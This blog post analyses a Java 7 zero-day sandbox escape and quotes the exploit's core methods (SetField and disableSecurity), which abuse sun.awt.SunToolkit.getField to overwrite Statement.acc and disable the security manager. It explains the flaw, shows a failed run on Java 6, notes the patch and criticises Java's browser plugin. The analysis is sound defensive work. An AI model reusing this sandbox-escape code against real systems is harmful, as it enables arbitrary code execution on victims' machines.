Java 0-day Vulnerability

Categories
malware cve exploit

The front page of Slashdot today tells us that another Java 0-day has been found. It works in Metasploit and is being used in the wild. Turn off the Java plugin now! Never turn it back on.
[article]

The analysis of this seems to point to the getField function of sun.awt.SunToolkit. See the code below for the guts of the exploit.

    private void SetField(Class paramClass, String paramString, Object paramObject1, 
        Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), 
        "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }
This function SetField is called in disableSecurity.
    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", 
            new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(
            new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(
            new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }
[source]

We can look at the source code of sun.awt.SunToolkit from jdk/src/share/classes/sun/awt/SunToolkit.java.

    public static Field getField(final Class klass, final String fieldName) {
        return AccessController.doPrivileged(new PrivilegedAction() {
            public Field run() {
                try {
                    Field field = klass.getDeclaredField(fieldName);
                    assert (field != null);
                    field.setAccessible(true);
                    return field;
                } catch (SecurityException e) {
                    assert false;
                } catch (NoSuchFieldException e) {
                    assert false;
                }
                return null;
            }//run
        });
    }
This code uses AccessController.doPrivileged which is used 13 times in SunToolkit. In the case of getField, it takes an arbitrary class, retrieves an arbitrary field, and sets it accessible using field.setAccessible(true). Then it returns it. This is a very subtle vulnerability if you don't understand Java's sandbox security model. AccessController.doPrivileged is a function to allow privileged actions to be called by unprivileged users (malicious applets that run without user consent). It can be used securely, but Oracle's programmers must be very careful about how it can be used. setAccessible is a method of AccessibleObject which is the base class for Field amongst other things, in this case Statement.acc. The field which the attack wishes to access is Statement.acc. Statement is part of java.beans. Statement.acc is private final AccessControlContext acc = AccessController.getContext(); The attack is able to then run ((Field)acc).set(localStatement, localAccessControlContext) where localStatement is a Statement object with data System.setSecurityManager(null) and localAccessControlContext is an AccessControlContext which allows AllPermission. Therefore you get a Statement where it's acc allows AllPermission, which can then be executed.

The fact that this isn't vulnerable in Java 6 is surprising. Nothing seems to have changed in the function since Java 6. What new feature in Java 7 makes this exploitable? The code compiles in Java 6 but fails because sun.awt.SunToolkit.getField does not exist. See below for the error message.

javantea@ASLinWS01:~/j4va$ javac Gondvv.java
javantea@ASLinWS01:~/j4va$ java Gondvv
java.lang.NoSuchMethodException: =Class.getField(Class, "acc");
        at java.beans.Statement.invokeInternal(Statement.java:260)
        at java.beans.Statement.access$000(Statement.java:39)
        at java.beans.Statement$2.run(Statement.java:140)
        at java.security.AccessController.doPrivileged(Native Method)
        at java.beans.Statement.invoke(Statement.java:137)
        at java.beans.Statement.execute(Statement.java:128)
        at Gondvv.SetField(Gondvv.java:61)
        at Gondvv.disableSecurity(Gondvv.java:40)
        at Gondvv.init(Gondvv.java:69)
        at Gondvv.main(Gondvv.java:89)

The H said in its article that a new vulnerable execute function causes this which may explain why the exploit uses Statement and Expression objects instead of calling directly. I am having trouble figuring out whether it's correct.

Update: Oracle has pushed a Java update which means that this is patched. This still doesn't mean that you should allow Java to run as a plugin to your browser. There is no good reason to allow Java applets to run.

Note: This may look very similar to The H article posted yesterday. I did not see it until after writing most of the article.

Why we're here again

Java is a complex programming language. It was designed in the 90's but was designed with a sandbox so that it could be run securely in a browser as well as a native application, and as server software. The numerous vulnerabilities as well as the poor design of security pop-ups has made Java into one of the worst pieces of software currently for Internet security. Complexity is the enemy of security and Java will never be simple. Along with Flash, JavaScript, and Adobe Acrobat, Java is an almost uniquely insecure cross-platform application which has caused problems for users around the world due to its complexity. Unlike JavaScript, and possibly also Flash and Adobe Acrobat, Java is unnecessary for normal use of the Internet. The only websites using Java today were written in the early 2000's and were poorly informed then. The only one that I have found to be essential that wasn't meant as a joke was a remote desktop solution which has a different bag of vulnerabilities.